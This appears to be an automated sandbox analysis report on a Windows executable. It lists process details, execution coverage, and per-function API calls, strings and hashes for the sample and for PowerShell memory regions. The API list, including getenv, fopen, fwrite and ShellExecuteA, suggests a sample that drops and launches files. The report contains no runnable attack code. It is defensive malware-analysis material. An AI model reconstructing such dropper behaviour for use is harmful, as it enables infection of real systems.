Imagebase:	0x7ff663420000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	23:37:18
Start date:	12/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	68
Start time:	23:37:18
Start date:	12/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	216
Start time:	23:37:19
Start date:	12/05/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	242
Start time:	23:37:21
Start date:	12/05/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	262
Start time:	23:37:21
Start date:	12/05/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	283
Start time:	23:37:23
Start date:	12/05/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	287
Start time:	23:37:24
Start date:	12/05/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	306
Start time:	23:37:28
Start date:	12/05/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	330
Start time:	23:37:30
Start date:	12/05/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	354
Start time:	23:37:33
Start date:	12/05/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	385
Start time:	23:37:34
Start date:	12/05/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	81.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.1%
Total number of Nodes:	28
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401541 Relevance: 9.1, APIs: 6, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040155B
SetUnhandledExceptionFilter.KERNEL32(0040151F), ref: 00401569
__set_app_type.MSVCRT ref: 00401574
_controlfp.MSVCRT ref: 00401588
__getmainargs.MSVCRT ref: 004015B6
exit.MSVCRT ref: 004015E8

Memory Dump Source

Source File: 00000000.00000002.1661521836.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661218127.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000000E02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000001802000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674802421.0000000001CA0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w85VkFOxiD.jbxd

Similarity

API ID: ExceptionFilterUnhandled__getmainargs__set_app_type_controlfpexitmemset
String ID:
API String ID: 3649950142-0
Opcode ID: 69ae23b7cad5e54e1c6bfde5d04b2bbff1b607d0ddf7d6d609bbec5630af157b
Instruction ID: f82d48fc4a857c4ca7d6669b4c9ec9668c2af9b67a15bb5c17e2bb900bf8227a
Opcode Fuzzy Hash: 69ae23b7cad5e54e1c6bfde5d04b2bbff1b607d0ddf7d6d609bbec5630af157b
Instruction Fuzzy Hash: 9D111EF5E00144ABDB10EBA8EC8AF5B77ECAB6C304F140475F905E3355E639E9448B65

Function 0040108C Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 267
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401000: malloc.MSVCRT ref: 0040100F

ShellExecuteA.SHELL32(?,?,?,00000000), ref: 004010F3
memset.MSVCRT ref: 00401108
memset.MSVCRT ref: 00401180
strcmp.MSVCRT ref: 00401252
strcpy.MSVCRT(?,00000000), ref: 004012A0
getenv.MSVCRT ref: 004012DD
sprintf.MSVCRT ref: 0040132F
fopen.MSVCRT ref: 00401344
fwrite.MSVCRT ref: 004013A9
fclose.MSVCRT ref: 004013B8
ShellExecuteA.SHELL32(00000000,00000000,?,0000000A,0000000A,0000000A), ref: 00401410

Strings

{!@, xrefs: 00401120
`!@, xrefs: 00401110
! @, xrefs: 0040109C
%s\%s, xrefs: 00401322, 00401327
e!@, xrefs: 00401118
1 @, xrefs: 004010C7
& @, xrefs: 004010B0

Memory Dump Source

Source File: 00000000.00000002.1661521836.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661218127.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000000E02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000001802000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674802421.0000000001CA0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w85VkFOxiD.jbxd

Similarity

API ID: ExecuteShellmemset$fclosefopenfwritegetenvmallocsprintfstrcmpstrcpy
String ID: ! @$%s\%s$& @$1 @$`!@$e!@${!@
API String ID: 3236948872-2869641316
Opcode ID: 0d0360d1356bd1021ac9ec14e2a33945875ad9d8b02e1f8d19908b107cc17584
Instruction ID: c2d8046887a0705742aea7af504bfceb6c91a7d60fdfd578933cba7572b7fc9a
Opcode Fuzzy Hash: 0d0360d1356bd1021ac9ec14e2a33945875ad9d8b02e1f8d19908b107cc17584
Instruction Fuzzy Hash: 33A10FF0E001089BEB54DBACDC85B9DB7F9EB48308F14457AF509FB391E63999448B68

Function 00401000 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 0040100F

Strings

tpiz-te/6-]c17ig@nzjfu[[6<ktd/e9, xrefs: 0040106E

Memory Dump Source

Source File: 00000000.00000002.1661521836.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661218127.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000000E02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000001802000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674802421.0000000001CA0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w85VkFOxiD.jbxd

Similarity

API ID: malloc
String ID: tpiz-te/6-]c17ig@nzjfu[[6<ktd/e9
API String ID: 2803490479-3708171523
Opcode ID: a8d4eb39be007e9cc8758a77848c9972a97bfb672f02bcdba6039e7c890fd06e
Instruction ID: a89be108b2f928f30086114828888851b934b3895c561a0e0cf6d6ceb0b4c67c
Opcode Fuzzy Hash: a8d4eb39be007e9cc8758a77848c9972a97bfb672f02bcdba6039e7c890fd06e
Instruction Fuzzy Hash: 41110CB0A05248EFCB04CFACD4907ADBBF1AF49304F1480AAE856E7391D635AE41DB45

Function 004014CB Relevance: .0, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1661521836.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661218127.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000000E02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661566744.0000000001802000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674802421.0000000001CA0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w85VkFOxiD.jbxd

Similarity

API ID: memset$ExecuteShell
String ID:
API String ID: 3137921467-0
Opcode ID: 831ac43eb4250e94be773bf104d2e2f74d37903a095935fd84f2bc878d175791
Instruction ID: 06bc563ba4034e1ddd1040a45b7532935788953148e6df6f1ca7e3d1eb9f43a7
Opcode Fuzzy Hash: 831ac43eb4250e94be773bf104d2e2f74d37903a095935fd84f2bc878d175791
Instruction Fuzzy Hash: 77F0F8B4E00248EFCB40DFA8D885E8E77F8AB5C308F004065F908D7354D634EA448B64

Analysis Process: powershell.exePID: 3336, Parent PID: 5804COMMON

Executed Functions

Function 02F4B550 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2aa92d702394b061c36b56b0b3542b576f3596b80a593d4bdc398ddd52d087a
Instruction ID: e2123edc909afcd4898e8d9406be5e1e873909c83b21c22be62f7f7f672426b7
Opcode Fuzzy Hash: a2aa92d702394b061c36b56b0b3542b576f3596b80a593d4bdc398ddd52d087a
Instruction Fuzzy Hash: 3D914C71F006555BDB5AEFB4D8146AEBBA2EFC4B04B00891DD10AAF340DF74690A8BD6

Function 02F4B570 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2225ebf6adac65e56ddc2089a9886c116c7a4192dfbab1d68ae799e0d8e1cd05
Instruction ID: 64fd9badf20aec65488f285d4378c5e10a0fa15c3c943d13e6d67bc8af3c043e
Opcode Fuzzy Hash: 2225ebf6adac65e56ddc2089a9886c116c7a4192dfbab1d68ae799e0d8e1cd05
Instruction Fuzzy Hash: F0914E71F006596BDB59EFB4D4146AEBAE3EFC4704B00891DD10AAB340DF74690A8BD6

Function 07602308 Relevance: 13.1, Strings: 10, Instructions: 642COMMON

Download Yara Rule

Strings

JKl, xrefs: 076023C5
JKl, xrefs: 076025F6
JKl, xrefs: 0760259E
4'^q, xrefs: 0760260D
JKl, xrefs: 076023D1
JKl, xrefs: 0760237F
4'^q, xrefs: 07602619
JKl, xrefs: 076025EA
rJl, xrefs: 0760254F
rJl, xrefs: 07602559

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$JKl$JKl$JKl$JKl$JKl$JKl$rJl$rJl
API String ID: 0-20980448
Opcode ID: b9ae608945567ab6ce7a02077599d8ab6ff9d849a3493f03e1c0924229de6e31
Instruction ID: 3ef03be3b498fd81d2d0c9008d860cf1215e8f1c5c71ac0537e5046ead1bf2e3
Opcode Fuzzy Hash: b9ae608945567ab6ce7a02077599d8ab6ff9d849a3493f03e1c0924229de6e31
Instruction Fuzzy Hash: 022215B5B00216CFCB19CB788469A6BBBE1BF89311F14807AD90ADB791DB31D845C7E1

Function 07603CE8 Relevance: 5.5, Strings: 4, Instructions: 526COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0760418A
4'^q, xrefs: 07604180
4'^q, xrefs: 07604026
4'^q, xrefs: 07604030

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: 163391ff4bac2bfa2c4afc46d3779e2adcbec68448e96acc091de759f46cb864
Instruction ID: 769efa9fe8775622115dfdd81583c4ce746a4076e9685c50a6b0b9756105b8b1
Opcode Fuzzy Hash: 163391ff4bac2bfa2c4afc46d3779e2adcbec68448e96acc091de759f46cb864
Instruction Fuzzy Hash: FF023AB17042518FCB299B798411A7BBFA2AF92211F1484AADA06DF3D1DF31DC42C7E1

Function 076017B8 Relevance: 2.8, Strings: 2, Instructions: 334COMMON

Download Yara Rule

Strings

@l, xrefs: 0760193A
@l, xrefs: 0760192C

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: @l$@l
API String ID: 0-3594781849
Opcode ID: d199d7d2ec0cdc1fa6f696af26bbda179118a732803721a33226c7ba6ef1ca13
Instruction ID: 558ab3ea8a20a7e2ee75a629fc81dced6ba1268bdef354f85242401bb534d460
Opcode Fuzzy Hash: d199d7d2ec0cdc1fa6f696af26bbda179118a732803721a33226c7ba6ef1ca13
Instruction Fuzzy Hash: 7CB1F2B1B042599FCB1C8B798405AAFBBE2AF87311F14C0AAD50A8B291DB31DD55C7E1

Function 02F470A8 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

(bq, xrefs: 02F471CD

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: d44bf6cbfc5a3e88a0cd917cce19152028643e98983556218aa9777fbdfab95f
Instruction ID: 22926a413dad76eeb2718ae1353143aec63a203e33a5db59cce2d8fde7e04dcf
Opcode Fuzzy Hash: d44bf6cbfc5a3e88a0cd917cce19152028643e98983556218aa9777fbdfab95f
Instruction Fuzzy Hash: B1414834B042048FDB149B68C858AADBBF2EFCD351F2444A9DA06AB395DB71DC41CB60

Function 02F4B078 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

(&^q, xrefs: 02F4B09A

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: 0934ed326d49ef93578faedc2058c4cf58b0250f5756a7bd95d3394c72d71a23
Instruction ID: 3bd62f690e4a9078922990a7f72ecd65a91fac849f36fbbbc4e7967c95353103
Opcode Fuzzy Hash: 0934ed326d49ef93578faedc2058c4cf58b0250f5756a7bd95d3394c72d71a23
Instruction Fuzzy Hash: 6021AE71E042588FCB14DBAED804A9FBFF5EBC9720F14846AD119E7341CB7499058FA5

Function 02F47A22 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

,(>l, xrefs: 02F479D9

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID: ,(>l
API String ID: 0-4164939468
Opcode ID: 41125c8ada2dc46bb1163c8c322319e0ba2bcd6090733250cc5e9a2c23899ca0
Instruction ID: a1d34525fe7f2363eff58e6b4761c661a1fdd402658f7993980782e8579a8d25
Opcode Fuzzy Hash: 41125c8ada2dc46bb1163c8c322319e0ba2bcd6090733250cc5e9a2c23899ca0
Instruction Fuzzy Hash: DF1102316003148FC7259B64C85492EBBF5EF8A36171449AEE50ECB252DB31EC41CBA1

Function 02F429F0 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8fda442859b9f33bd2d52bcdf1e750a37eaf8d522e3d9ce932607789925645
Instruction ID: f60f29cc2eb1edd1bceff7472e38d5e5e68600131842126791177ef2730467fe
Opcode Fuzzy Hash: cd8fda442859b9f33bd2d52bcdf1e750a37eaf8d522e3d9ce932607789925645
Instruction Fuzzy Hash: 4991AF74A00245CFCB15CF58C494AAEFBB1FF48314B2585A9EA15AB365CB35FC91CBA0

Function 02F4BBA0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e59423bc14aaac996879f6dfe325fd9131b44dfe57613ce7ec064540b23784ef
Instruction ID: 3410330df697d7ebc4bc2b38989f36826dfd943da5df8265be24c39eb881171c
Opcode Fuzzy Hash: e59423bc14aaac996879f6dfe325fd9131b44dfe57613ce7ec064540b23784ef
Instruction Fuzzy Hash: 04610571E002489FCB54CFA9C584A9DFFF2EF88354F14816AE909AB365EB709D45CB60

Function 02F47808 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dce596d3e6e7516d5fcb35cdf4350b95b783f041cea840d600579cb1a1ec6c3
Instruction ID: 9c04d930abd62e7444cbde9b11628c0d80684134106e3725745d912f7767b97a
Opcode Fuzzy Hash: 7dce596d3e6e7516d5fcb35cdf4350b95b783f041cea840d600579cb1a1ec6c3
Instruction Fuzzy Hash: 0A51CE357002449FD704AB69D854A3ABBE6FFC8354F248469E60ACB351EF75D801CBA0

Function 02F4BB90 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd6c1f8f230ebbe9abaef4e3abf694e504579926442d8118d1bcc9345d081d35
Instruction ID: 985d5e1450d0923daced1d0f738b07a691b93b2a3cf9af671eed3fb7995f6591
Opcode Fuzzy Hash: dd6c1f8f230ebbe9abaef4e3abf694e504579926442d8118d1bcc9345d081d35
Instruction Fuzzy Hash: 38511471E002489FCB54CFA9C484A9DFFF2EF88354F148069E909AB365EB709945CFA0

Function 07603CCE Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 000c26d8d46137c94f57cbafa30ca135cb5400882741e3b0dec58ddda376881c
Instruction ID: 5ec2c49d08b7f6d57b400e599eff48a03c6b49c170ee95e96c5a3497640464d7
Opcode Fuzzy Hash: 000c26d8d46137c94f57cbafa30ca135cb5400882741e3b0dec58ddda376881c
Instruction Fuzzy Hash: DE4106F0A00201CFCB29CB76C401A6BBBA29F91252F5485AED9029F3D6DB35DD45C7E1

Function 02F47081 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c557c94f834e30fae45f1f425d9748beaea7720213fd5a2fe29f3b62ab877090
Instruction ID: 2a9a01a82ed84349560d714ff59d6a4e51d301a7c3c27264bd08817ecf70fc39
Opcode Fuzzy Hash: c557c94f834e30fae45f1f425d9748beaea7720213fd5a2fe29f3b62ab877090
Instruction Fuzzy Hash: 1C41A134A042058FDB14DF68C894AADBFF1EF8E354F145499D602AB3A6DB71EC41CB60

Function 02F4C468 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ceab3f95d49441b59694874673b8a611a66ea0ea54844bb099b01ac00f409f8
Instruction ID: d12a0b80f94a2058ed8047d20ff5611463f31f0968a3fe46309a4a97d459a62d
Opcode Fuzzy Hash: 4ceab3f95d49441b59694874673b8a611a66ea0ea54844bb099b01ac00f409f8
Instruction Fuzzy Hash: 0531AD313002109FC705EB68D840B9EBB97EFC4752F14852AE60ACB755EFB1A845CBE1

Function 02F4AF40 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10325a814f29cf10926e67ee999dbc2fd79d7752382f770147c3eea14435561d
Instruction ID: 260973694efe17fd24a87c421a6cc9859540fbfb1ddada1f1f455991b76d8161
Opcode Fuzzy Hash: 10325a814f29cf10926e67ee999dbc2fd79d7752382f770147c3eea14435561d
Instruction Fuzzy Hash: E6316770E002098BDB09DB69D894BAEBFF6AF89751F108029E615EB250EF749C418B91

Function 02F4E0A0 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8594a3014357ff824a4d981915794cc86b4dead5f83edda83806a7918cbaa671
Instruction ID: 5d85e88d17751f711de3a816aa8b5db1f9537a2b65b1d7270f06deaccd000f90
Opcode Fuzzy Hash: 8594a3014357ff824a4d981915794cc86b4dead5f83edda83806a7918cbaa671
Instruction Fuzzy Hash: 44313C71A402048FDB58DF69D468AAEBBF2FF89314F244469D506EB361DF70AC81CB90

Function 02F4AE08 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d6c53d420291c001db233873b3019622976e9f17aad240ccff71cfe00667a3
Instruction ID: c327d72cc0408809c1567b2bb6ad457392f8436ca5362e6897185a70b94f4d96
Opcode Fuzzy Hash: 16d6c53d420291c001db233873b3019622976e9f17aad240ccff71cfe00667a3
Instruction Fuzzy Hash: A13181B4E04285AFDB41DB64D854ABE7FB3EF85300F1184A9D205AB395CA789D41CF51

Function 02F4AF50 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f36f02db284af243f302d963556d1d08defbd50be2cf9006eb1a262f4a7163f
Instruction ID: efd9eb250d9cab7d8650dc43993ec9674258369f6d6df6e9e8f97537ca905ca9
Opcode Fuzzy Hash: 7f36f02db284af243f302d963556d1d08defbd50be2cf9006eb1a262f4a7163f
Instruction Fuzzy Hash: A2315A70E002099BDB08DB69C494BAEBEF6AFC9754F108029E615EB350EF749C418B90

Function 02F4E0B0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9875e46ce3da373f5d436601562efb1b4701fd9decacdb765d926a01c96314e3
Instruction ID: 10918376eb8f9476d9d799cc679324a99f5347814dde2ed4b8b442bc1f528e55
Opcode Fuzzy Hash: 9875e46ce3da373f5d436601562efb1b4701fd9decacdb765d926a01c96314e3
Instruction Fuzzy Hash: 8E310874A402048FDB589B69D468AAEBBF2BF88314F144469D506EB391DF70AC85CB90

Function 02F4AE18 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74352d6826547ff1ddc64e0c4c0e1431fdaf5f4d3609b56c2e9bf138867d3d3b
Instruction ID: 96bfa14eeafcae14920f6fc0575edabd41a3ea9b9d9a6c49268f8b5784263461
Opcode Fuzzy Hash: 74352d6826547ff1ddc64e0c4c0e1431fdaf5f4d3609b56c2e9bf138867d3d3b
Instruction Fuzzy Hash: D8314FB4E00249AFDB44EFA4D854ABEBBB3EF84300F1084A9D215AB394DE75DD418F94

Function 02CFF3D8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

